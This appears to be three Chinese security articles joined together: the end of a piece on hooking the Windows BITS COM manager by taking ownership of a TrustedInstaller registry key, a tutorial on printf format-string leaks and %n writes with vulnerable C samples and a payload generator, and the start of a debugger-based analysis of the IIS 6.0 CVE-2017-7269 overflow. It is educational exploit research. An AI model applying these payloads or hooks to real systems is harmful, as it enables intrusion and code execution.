HRESULT hr = ::CoTreatAsClass(
__uuidof(BackgroundCopyManager),
__uuidof(FakeBitsManager));
上述代码中的FakeBitsManager是我创建的一个COM类，该类需要实现与原始对象（IBackgroundCopyManager）相同的接口；否则，机器上的所有BITS操作都将失败！由于访问权限的原因，上述CoTreatAsClass函数将调用失败，即使从高权限的进程中调用也是无用的。原因是HKCRCLSID
{4991d34b-80a1-4291-83b6-3328366b9097}下的这个注册表键值由TrustedInstaller拥有，它不允许被篡改，甚至不允许系统帐户去修改这个键值！
然而，超级管理员用户可以通过执行Take
Ownership特权，成为该注册表键值的新拥有者，因此我们还是有权更改该键值权限的，如下图所示，我们现在已经拥有对该键值的修改权限：
那么，我们在哪里调用CoTreatAsClass函数比较合适呢？经过一些实验我们发现该调用可以在一些安装程序中完成，安装程序可以是一个简单的批处理或PowerShell脚本，并且可以直接使用注册表函数进行正确的设置，具体如下图所示：
下面是一个使用ATL实现的COM类，通过实现IBackgroundCopyManager以及IUnknown以用来对BITS管理器类执行拦截操作，代码如下所示：
class ATL_NO_VTABLE CFakeBitsManager :
public CComObjectRootEx<CComSingleThreadModel>,
public CComCoClass<CFakeBitsManager, &CLSID_FakeBitsManager>,
public IBackgroundCopyManager
{
//...
BEGIN_COM_MAP(CFakeBitsManager)
COM_INTERFACE_ENTRY(IBackgroundCopyManager)
END_COM_MAP()
HRESULT FinalConstruct();
CComPtr<IBackgroundCopyManager> m_spRealBits;
public:
STDMETHOD(CreateJob)(
LPCWSTR DisplayName,
BG_JOB_TYPE Type,
__RPC__out GUID *pJobId,
IBackgroundCopyJob **ppJob);
STDMETHOD(GetJob)(
REFGUID jobID,
IBackgroundCopyJob **ppJob);
STDMETHOD(EnumJobs)(
DWORD dwFlags,
IEnumBackgroundCopyJobs **ppEnum);
STDMETHOD(GetErrorDescription)(
HRESULT hResult,
DWORD LanguageId,
LPWSTR *pErrorDescription);
};
OBJECT_ENTRY_AUTO(__uuidof(FakeBitsManager), CFakeBitsManager)
上述代码只是IBackgroundCopyManager类实现中的部分代码，需要我们重点关注的是IBackgroundCopyManager接口映射函数的声明以及从<bits.h>头文件复制的四个方法。另一个需要我们重点关注的是IBackgroundCopyManager（m_spRealBits）智能指针的另一个实现，这个成员应该会被初始化为真正的BITS管理器，由于我们不想让所有的BITS操作都失败，因此我们可以将请求转发给它。但是如何创建真正的BITS管理器呢？其实答案很简单，我们只需要关闭TreatAs，以便快速调用创建真正的BITS，然后重新启动，代码如下所示：
HRESULT CFakeBitsManager::FinalConstruct() {
auto hr = ::CoTreatAsClass(__uuidof(BackgroundCopyManager), CLSID_NULL);
ATLASSERT(hr);
hr = m_spRealBits.CoCreateInstance(__uuidof(BackgroundCopyManager));
ATLASSERT(SUCCEEDED(hr));
hr = ::CoTreatAsClass(__uuidof(BackgroundCopyManager), __uuidof(FakeBitsManager));
ATLASSERT(SUCCEEDED(hr));
return hr;
}
使用CLSID_NULL的第二个参数调用CoTreatAsClass会关闭“仿真”，机器上的其他客户端程序会有很小的机会可以获得“真正的”BITS。但是这个时间间隔很小，并没有一种简单的方法可以获取该BITS（基于注册表的回调和ETW事件会捕获它）。但即使这样，用户模式下的注册表回调可能还不够快，因此它可能在恢复之前注意不到该更改。当然，高权限的进程可以手动还原它，但这不是一个典型的客户端程序应该要考虑的事情，因为它可能没有足够的权限去这样做。
现在我们可以继续实现这些函数方法。任何“不友善”的函数方法都可以被简单地重定向到真正的BITS管理器。示例代码如下所示：
STDMETHODIMP CFakeBitsManager::GetJob(
REFGUID jobID,
IBackgroundCopyJob **ppJob) {
return m_spRealBits->GetJob(jobID, ppJob);
}
STDMETHODIMP CFakeBitsManager::EnumJobs(
DWORD dwFlags,
IEnumBackgroundCopyJobs **ppEnum) {
return m_spRealBits->EnumJobs(dwFlags, ppEnum);
}
其中，比较有趣的函数是CreateJob函数，因为我们可以使用该函数收集信息，注册事件通知或其他信息。示例代码如下所示：
STDMETHODIMP CFakeBitsManager::CreateJob(
LPCWSTR DisplayName, BG_JOB_TYPE Type,
GUID *pJobId, IBackgroundCopyJob **ppJob) {
if(Type != BG_JOB_TYPE_DOWNLOAD)
return m_spRealBits->CreateJob(DisplayName, Type, pJobId, ppJob);
auto hr = m_spRealBits->CreateJob(DisplayName, Type, pJobId, ppJob);
if (FAILED(hr))
return hr;
// handle the successful job creation
// register for notifications, log the download, ...
return hr;
}
该示例显示，对于非下载作业任务，我们只需将请求传递给真正的BITS管理器处理即可。在下载作业任务创建时，我们可以对该下载请求执行任何的监视操作，这样我们就完成了对COM接口函数的Hooking操作。
**
**
**总结**
理论上讲，对COM接口函数执行hook操作要比对Win32 API执行hook操作可能会简单一些。因为hook Win32
API还需要我们去懂得一些汇编语言相关的知识，以及机器码等底层知识。它们的共同之处都是修改目标程序的执行流程，以达到对数据流进行监控的目的。对COM接口执行hook操作是一个有趣的技术，因此还需要进一步研究和分析。 | 社区文章 |
对 printf 常见漏洞做了整合，并举出相应的例子。
原理就是将栈上或者寄存器上的信息泄露出来，或者写入进去，为了达到某些目的。
### 第一种：整数型
第一种是直接利用`printf`函数的特性，使用`n$`直接进行偏移，从而泄露指定的信息，最典型的就是`%d`。
举个例子：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int login(long long password)
{
char buf[0x10] = {0};
long long your_pass;
scanf("%15s", buf);
printf(buf);
printf("\n");
scanf("%lld", &your_pass);
return password == your_pass;
}
int main()
{
long long password;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
password = rand();
if(login(password))
{
system("/bin/sh");
}
{
printf("Failed!\n");
}
return 0;
}
在gdb调试下，`printf`的栈地址与password的栈地址相差`n`个字长，加上栈的6个寄存器传参，所以利用`%(n+6)$lld`就能泄露该值，我的机器n为11。
ex@Ex:~/test$ ./login
%17$lld
706665966
706665966
$
### 第二种：浮点型
通常来说是`%llf`，但是由于泄露地址时该值总是会由于精度丢失，而变得不精确，所以利用`%a`来泄露地址更好，`%a`是以16进制的形式输出double型变量，下面让我们来看看反汇编代码。
在调用`printf`之前，程序会先把浮点型变量压入xmm寄存器，再把其数目传给`eax`，在`printf`开始时，会先检查`al`是否为0，如果不为0，则把xmm寄存器压回栈中，可见`printf`读取的都是栈的内容。
这里就存在一个漏洞，上面的行为都是编译器规定的，要是`printf`参数仅仅是一个我们能控制的buf，那么编译器编译时浮点型变量数目就是0，也就意味着传入的`eax`也将为0，这时我们再使其输出浮点型，那么就会泄露出栈上的地址。
举个例子：
#include <stdio.h>
#include <dlfcn.h>
int main()
{
char *libc_addr = *(char **)dlopen("libc.so.6", RTLD_LAZY);
printf("libc addr: %p\n", libc_addr);
printf(" %lx\n", (long long)(libc_addr + 0x5f4000) >> 8 );
printf("%a\n%a\n");
return 0;
}
通过gdb调试就能看到其泄露的值。
0x7ffff7844e89 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7844e8e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7844e93 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7844e98 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7844e9d <printf+29> mov qword ptr [rsp + 0x48], r9
► 0x7ffff7844ea2 <printf+34> ✔ je printf+91 <0x7ffff7844edb>
↓
0x7ffff7844edb <printf+91> mov rax, qword ptr fs:[0x28]
0x7ffff7844ee4 <printf+100> mov qword ptr [rsp + 0x18], rax
0x7ffff7844ee9 <printf+105> xor eax, eax
0x7ffff7844eeb <printf+107> lea rax, [rsp + 0xe0]
0x7ffff7844ef3 <printf+115> mov rsi, rdi
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffda00 ◂— 0x3000000010
01:0008│ 0x7fffffffda08 —▸ 0x7fffffffdae0 —▸ 0x7fffffffdbd0 ◂— 0x1
02:0010│ 0x7fffffffda10 —▸ 0x7fffffffda20 —▸ 0x7fffffffda50 ◂— 0x0
03:0018│ 0x7fffffffda18 ◂— 0x7fa928f26b67c600
04:0020│ 0x7fffffffda20 —▸ 0x7fffffffda50 ◂— 0x0
05:0028│ 0x7fffffffda28 —▸ 0x555555756290 ◂— ' 7ffff7dd40\nff77e0000\n'
06:0030│ 0x7fffffffda30 ◂— 0x0
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7ffff7844ea2 printf+34
f 1 555555554725 main+107
f 2 7ffff7801b97 __libc_start_main+231
pwndbg> x/4gx $rsp+0x50
0x7fffffffda50: 0x0000000000000000 0x7fa928f26b67c600
0x7fffffffda60: 0x00007ffff7dd40e0 0x00007ffff7bd1f40
然后就能用该值计算出相应的地址，结果如下：
ex@Ex:~/test$ gcc main.c -g -ldl -w
ex@Ex:~/test$ ./a.out
libc addr: 0x7f9223e6d000
7f92244610
0x0p+0
0x0.07f92244610ep-1022
ex@Ex:~/test$ ./a.out
libc addr: 0x7f9af3ddb000
7f9af43cf0
0x0p+0
0x0.07f9af43cf0ep-1022
ex@Ex:~/test$ ./a.out
libc addr: 0x7f8371014000
7f83716080
0x0p+0
0x0.07f83716080ep-1022
### 第三种：字符串
就是我们常用的`%s`，这个需要结合栈上面的信息进行泄露，或者直接泄露寄存器指向的字符串。
举个例子：
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
void timeout()
{
puts("Timeout!");
exit(0);
}
int main()
{
char buf[0x10];
scanf("%15s", buf);
signal(14, timeout);
alarm(60);
printf(buf);
return 0;
}
由于`printf`函数上面的`signal`函数执行后，通过调试发现第二个参数是指向`timeout`的地址的指针，我们可以使用`%s`将其读出，从而达到泄露程序基地址的目的。
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x0
RSI 0x7fffffffd840 —▸ 0x55555555483a (timeout) ◂— push rbp
R8 0x7fffffffda30 ◂— 0x0
R9 0x0
R10 0x8
R11 0x206
R12 0x555555554730 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdbe0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdb00 —▸ 0x5555555548d0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdae0 ◂— 0x555555007325 /* '%s' */
RIP 0x555555554894 (main+64) ◂— mov edi, 0x3c
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x555555554883 <main+47> lea rsi, [rip - 0x50] <0x55555555483a>
0x55555555488a <main+54> mov edi, 0xe
0x55555555488f <main+59> call signal@plt <0x5555555546f0>
► 0x555555554894 <main+64> mov edi, 0x3c
0x555555554899 <main+69> mov eax, 0
0x55555555489e <main+74> call alarm@plt <0x5555555546e0>
0x5555555548a3 <main+79> lea rax, [rbp - 0x20]
0x5555555548a7 <main+83> mov rdi, rax
0x5555555548aa <main+86> mov eax, 0
0x5555555548af <main+91> call printf@plt <0x5555555546d0>
0x5555555548b4 <main+96> mov eax, 0
> 不同环境，结果截然不同，程序的具体行为还需要自己上手调试来得出结论。
ex@Ex:~/test$ echo "%s" | ./a.out | hexdump -C
00000000 3a a8 10 8d cc 55 |:....U|
00000006
### 第四种：写入型
一般是用`%n`来进行写入，这个也有两种情况。
一是是栈上的地址可控，可以直接实现任意地址写；第二种，只能写到栈中指定的地址来进行部分覆盖。
举个例子：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor()
{
execve("/bin/sh", NULL, NULL);
asm("xor %rdi, %rdi\n mov $60, %eax\n syscall");
}
int main()
{
char buf[0x100];
scanf("%255s", buf);
printf(buf);
exit(0);
}
假设上面的例子没有开启PIE，则我们可以直接修改`exit`函数的got地址为`backdoor`。
一般写入型格式字符串的格式如下：
import struct
content = 'abcdefgh'
addr = 0x400000
offset = 16
inner_offset = 3
payload = ''
last = 0
for i in range(len(content)):
payload += '%%%dc%%%d$hhn' % ((ord(content[i]) - last + 0x100) % 0x100, offset + i)
payload += 'a' * inner_offset + ''.join([struct.pack('Q', addr + i) for i in range(len(content))])
print(payload) | 社区文章 |
转载请注明出处
作者： **k0shl**
作者博客：http://whereisk0shl.top
* * *
### 前言
CVE-2017-7269是IIS
6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。
目前在github上有一个在windows server 2003
r2上稳定利用的exploit，这个exp目前执行的功能是弹计算器，使用的shellcode方法是alpha
shellcode，这是由于url在内存中以宽字节形式存放，以及其中包含的一些badchar，导致无法直接使用shellcode执行代码，而需要先以alpha
shellcode的方法，以ascii码形式以宽字节写入内存，然后再通过一小段解密之后执行代码。
github地址：https://github.com/edwardz246003/IIS_exploit
这个漏洞其实原理非常简单，但是其利用方法却非常有趣，我在入门的时候调试过很多stack
overflow及其exp，但多数都是通过覆盖ret，覆盖seh等方法完成的攻击，直到我见到了这个exploit，感觉非常艺术。但这个漏洞也存在其局限性，比如对于aslr来说似乎没有利用面，因此在高版本windows
server中利用似乎非常困难，windows server 2003 r2没有aslr保护。
在这篇文章中，我将首先简单介绍一下这个漏洞的利用情况；接着，我将和大家一起分析一下这个漏洞的形成原因；然后我将给大家详细介绍这个漏洞的利用，最后我将简要分析一下这个漏洞的rop及shellcode。
我是一只菜鸟，如有不当之处，还望大家多多指正，感谢阅读！
* * *
### 弹弹弹－－一言不合就“弹”计算器
#### 漏洞环境搭建
漏洞环境的搭建非常简单，我的环境是windows server 2003 r2
32位英文企业版，安装之后需要进入系统配置一下iis6.0，首先在登陆windows之后，选择配置服务器，安装iis6.0服务，之后进入iis6.0管理器，在管理器中，有一个windows扩展，在扩展中有一个webdav选项，默认是进入用状态，在左侧选择allow，开启webdav，之后再iis管理器中默认网页中创建一个虚拟目录（其实这一步无所谓），随后选择run->services.msc->WebClient服务，将其开启，这样完成了我的配置。
#### 触发漏洞
漏洞触发非常简单，直接在本地执行python
exp.py即可，这里为了观察过程，我修改了exp，将其改成远程，我们通过wireshark抓包，可以看到和目标机的交互行为。
可以看到，攻击主机向目标机发送了一个PROPFIND数据包，这个是负责webdav处理的一个指令，其中包含了我们的攻击数据，一个<>包含了两个超长的httpurl请求，其中在两个http
url中间还有一个lock token的指令内容。
随后我们可以看到，在靶机执行了calc，其进程创建在w2wp进程下，用户组是NETWORK SERVICE。
我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行，后来发现其实是由于webdav服务进程本身就是无窗口的，导致calc即使定义了SW_SHOWNORMAL，也只是在后台启动了。
事实上，这个漏洞及时没有后面的<>中的http url，单靠一个IF:<>也能够触发，而之所以加入了第二个<>以及lock
token，是因为作者想利用第一次和第二次http请求来完成一次精妙的利用，最后在指令下完成最后一击。
我尝试去掉第二次<>以及请求，同样能引发iis服务的crash。
* * *
### CVE-2017-7269漏洞分析
* * *
这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中，这里为了方便，我们直接来跟踪分析该函数，在下一小节内容，我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程，然后贴出这个存在漏洞函数的伪代码。
在ScStorageFromUrl函数中，首先会调用ScStripAndCheckHttpPrefix函数，这个函数主要是获取头部信息进行检查以及对host
name进行检查。
0:009> p//调用CchUrlPrefixW获取url头部信息
eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
0:009> p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8 mov ebx,eax
0:009> dc esi l6//esi存放头部信息，以及server name，这个localhost会在后面获取到。
0060c648 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c658 0063006f 006c0061 o.c.a.l.
在check完http头部和hostname之后，会调用wlen函数获取当前http url长度。
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50 push eax
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167 call dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
0060e7f0 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
0060e800 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
0060e810 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
0060e820 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
0060e830 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
0060e840 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
0:009> p
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59 pop ecx
0:009> r eax
eax=000002fd
在利用的关键一次，我们获取的是poc中http://localhost/bbbbb
的字符串，这个字符串长度很长，可以看到eax寄存器存放的是url长度，长度是0x2fd，随后会进入一系列的判断，主要是检查url中一些特殊字符，比如0x2f。
0:009> g//eax存放的是指向url的指针，这里会获取指针的第一个字符，然后和“／”作比较
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd7 6683382f cmp word ptr [eax],2Fh ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
经过一系列的检查之后，会进入一系列的memcpy函数，主要就是用来构造虚拟文件路径，这个地方拷贝的长度没有进行控制，而拷贝的目标地址，是在外层函数调用stackbuff申请的地址，这个地址会保存在栈里。在ScStorageFromUrl函数中用到，也就是在memcpy函数中用到，作为目的拷贝的地址。
ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次，我们跟踪的这一次，是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff lea esi,[ebp-43Ch]
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0
eip=67126faf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff36c 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff37c 0074006f 0062005c 00620062 00620062 o.t.\.b.b.b.b.b.
00fff38c 00620062 61757948 6f674f43 48456b6f b.b.HyuaCOgookEH
这次memcpy拷贝过程中，会将esi寄存器中的值拷贝到edi寄存器中，可以看到edi寄存器的值是0x680312c0，这个值很有意思，在之前我提到过，这个buffer的值会在外层函数中申请，并存放在栈中，因此正常情况应该是向一个栈地址拷贝，而这次为什么会向一个堆地址拷贝呢？
这是个悬念，也是我觉得这个利用巧妙的地方，下面我们先进入后面的分析，在memcpy中，也就是rep
movs中ecx的值决定了memcpy的长度，第一次拷贝的长度是0x9。
接下来，回进入第二次拷贝，这次拷贝的长度就比较长了。
0:009> p//长度相减，0x2fd－0x0
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda sub ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456 lea esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff mov edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10 lea edi,[eax+edx]
0:009> p/／ecx的值为dword值
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02 lea ecx,[ebx+ebx+2]
0:009> p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1 mov eax,ecx
0:009> p／／最后拷贝的长度再除以4
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 c1e902 shr ecx,2
0:009> p/／这次拷贝17f的值 key！！！看ecx
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到，这次拷贝的长度是0x17f，长度非常大，而在整个分析的过程中，并没有对拷贝的长度进行控制，因此，可以拷贝任意超长的字符串，进入这个堆空间。
这个堆空间非常有意思，存放的是一个vftable，这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到，还记得之前分析的ScStripAndCheckHttpPrefi函数吗。
0:009> p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取
eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e8 8b07 mov eax,dword ptr [edi] ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}
获取完虚表之后，会获取到对应的虚函数，在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖，导致这个vftable被覆盖。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f0 8955f4 mov dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
0:009> p//eax是vftable，而call [eax+24]调用虚函数，这里由于之前的覆盖，导致跳转到可控位置
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
这个漏洞的原理非常简单，在PROPFIND中，由于对http的长度没有进行检查，导致在memcpy中，可以拷贝超长的字符串，覆盖到栈中的关键位置，下面来看一下伪代码。
__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)
{
v35 = a3;
v5 = a1;
Str = a2;
v37 = (int)a1;
v34 = a4;
v33 = a5;
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用来检查开头信息，比如http头以及host等等
if ( result < 0 )
return result;
if ( *Str != 47 )//判断第一个值是不是/
return -2146107135;
v7 = _wcslen(Str);//获取str长度，也就是畸形url长度
result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
v36 = result;
if ( result < 0 )
return result;
v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 获取虚拟路径
if ( v8 == v42 )
{
if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
goto LABEL_14;
}
else if ( v8 + 1 == v42 )
{
v9 = Str[v8];
if ( v9 == 47 || !v9 )
{
--v42;
goto LABEL_14;
}
}
v36 = 1378295;
LABEL_14:
if ( v36 == 1378295 && a5 )
{
……
}
v16 = v41;
if ( v41 )
{
v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
if ( *v17 == 92 )
{
while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )
{
v41 = --v16;
--v17;
}
}
else if ( !*v17 )
{
v16 = v41-- - 1;
}
}
v18 = v16 - v42 + v7 + 1;
v19 = *v34 < v18;
v37 = v16 - v42 + v7 + 1;
if ( v19 )
{
……
}
else//进入这一处else处理
{
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, WideCharStr, 4 * v24);//拷贝虚拟路径
v26 = &WideCharStr[2 * v24];
v25 = &v21[2 * v24];
LOBYTE(v24) = v23;
v27 = v42;
qmemcpy(v25, v26, v24 & 3);
v28 = v7 - v27;//这里v7是0x2fd，相减赋值给v28，这个值很大，v27为0
v29 = &Str[v27];
v30 = v35;
qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷贝到栈中，没有对长度进行检查，导致溢出
for ( i = &v30[v41]; *i; ++i )
{
if ( *i == 47 )
*i = 92;
}
*v34 = v37;
result = v36;
}
return result;
}
* * *
### CVE-2017-7269 Exploit!精妙的漏洞利用
* * *
其实通过上面的分析，我们发现这个漏洞的 原理非常简单，但是究竟如何利用呢，我们来看一下关于ScStorageFromUrl函数中，包含了GS
check，也就是说，我们在进行常规的覆盖ret方式利用的情况下，将会把cookie也会覆盖，导致利用失败。
